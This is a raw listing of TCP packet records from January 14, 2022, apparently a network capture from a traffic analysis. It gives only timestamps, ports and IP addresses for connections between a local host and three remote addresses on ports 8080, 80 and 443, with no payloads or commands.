Jan 14, 2022 20:23:15.411238909 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.411258936 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411318064 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.536545992 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536604881 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536645889 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536684036 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536715031 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536745071 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536777020 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536809921 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.536817074 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.536843061 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.536881924 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.539835930 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.539879084 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.539917946 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.539958000 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.539983034 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.539998055 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540019035 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540036917 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540076971 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540091038 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540116072 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540157080 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540174961 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540199041 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540236950 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540277958 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540292978 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540318966 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540332079 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540357113 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540395975 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540411949 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540435076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540476084 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540517092 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540529966 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540555000 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540595055 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540607929 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540637016 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540677071 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540698051 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540716887 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540734053 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540755987 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540796041 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540811062 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540836096 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540914059 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.540952921 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.540993929 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541032076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541054010 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541070938 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541121006 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541130066 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541162014 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541202068 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541215897 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541243076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541305065 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541343927 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541357040 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541383028 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541397095 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541420937 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541460991 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541474104 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.541500092 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.541551113 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665160894 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665219069 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665261030 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665294886 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665302992 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665340900 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665381908 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665400982 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665422916 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665441036 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665462017 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665501118 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665517092 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665539980 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665580988 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665595055 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665620089 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665658951 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665678024 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665699005 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665739059 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665776968 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665793896 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665815115 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665873051 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665883064 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665925026 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.665940046 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.665966034 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666004896 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666021109 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.666042089 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666081905 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666095018 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.666126013 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666168928 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666209936 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666229963 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.666239977 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.666274071 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.792706966 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:17.134363890 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.151901960 CET	80	49792	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.152441025 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.152635098 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.152646065 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.169970989 CET	80	49792	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.272317886 CET	80	49792	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.273215055 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.273895979 CET	49792	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.291176081 CET	80	49792	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.570529938 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.587973118 CET	80	49794	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.589955091 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.590029001 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.590042114 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.607357979 CET	80	49794	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.708374977 CET	80	49794	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.708425999 CET	80	49794	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.708549976 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.720386982 CET	49794	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.737869978 CET	80	49794	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.749023914 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.766483068 CET	80	49795	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.766597033 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.766701937 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.766709089 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.784043074 CET	80	49795	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.891681910 CET	80	49795	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.892023087 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.892045975 CET	49795	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:17.909363985 CET	80	49795	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:17.923264027 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:17.923294067 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:17.923371077 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:17.923610926 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:17.923628092 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:17.975585938 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:17.975768089 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:17.977658033 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:17.977669954 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:17.978024006 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:17.979562044 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.025921106 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032061100 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032150984 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032182932 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032222986 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032267094 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032274008 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032284975 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032294989 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032356977 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032378912 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032423973 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032459974 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032488108 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032495975 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032525063 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032582998 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032604933 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032613993 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032623053 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032658100 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032676935 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032680035 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032690048 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032735109 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032768011 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032785892 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032840967 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032845020 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032860994 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032921076 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.032975912 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.032993078 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033046007 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033049107 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033063889 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033114910 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033122063 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033138990 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033186913 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033200026 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033216953 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033272028 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033288002 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033345938 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033394098 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033428907 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033443928 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033469915 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033498049 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033526897 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033566952 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033607006 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033610106 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033627987 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033665895 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033669949 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033704042 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033723116 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033737898 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033813953 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033874989 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033893108 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.033911943 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.033932924 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051215887 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051295996 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051310062 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051333904 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051397085 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051440954 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051512957 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051523924 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051542997 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051583052 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051616907 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051677942 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051697969 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051721096 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051795006 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051795959 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051815033 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.051867962 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051884890 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.051949024 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052103996 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052180052 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052221060 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052241087 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052262068 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052268982 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052319050 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052340984 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052355051 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052362919 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052437067 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052453041 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052562952 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052566051 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052584887 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052624941 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052651882 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052737951 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.052750111 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.052896976 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.068833113 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.068917036 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.068938971 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.068965912 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.068990946 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.068999052 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069042921 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069067001 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069081068 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069089890 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069159985 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069178104 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069200039 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069267988 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069277048 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069297075 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069345951 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069396973 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069430113 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069447994 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069468975 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069478035 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069550991 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069555044 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069574118 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069621086 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069644928 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069708109 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069725037 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069750071 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069822073 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069835901 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069878101 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.069902897 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.069978952 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070053101 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070066929 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070087910 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070131063 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070151091 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070167065 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070254087 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070264101 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070277929 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070322990 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070341110 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070368052 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070442915 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070456982 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070475101 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070519924 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070538044 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070564032 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070635080 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070650101 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070667982 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070714951 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070734024 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070749044 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070768118 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070826054 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070847034 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070910931 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.070926905 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.070949078 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071018934 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071036100 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071058035 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071127892 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071142912 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071163893 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071235895 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071252108 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071274996 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071338892 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071355104 CET	443	49797	162.159.129.233	192.168.2.3
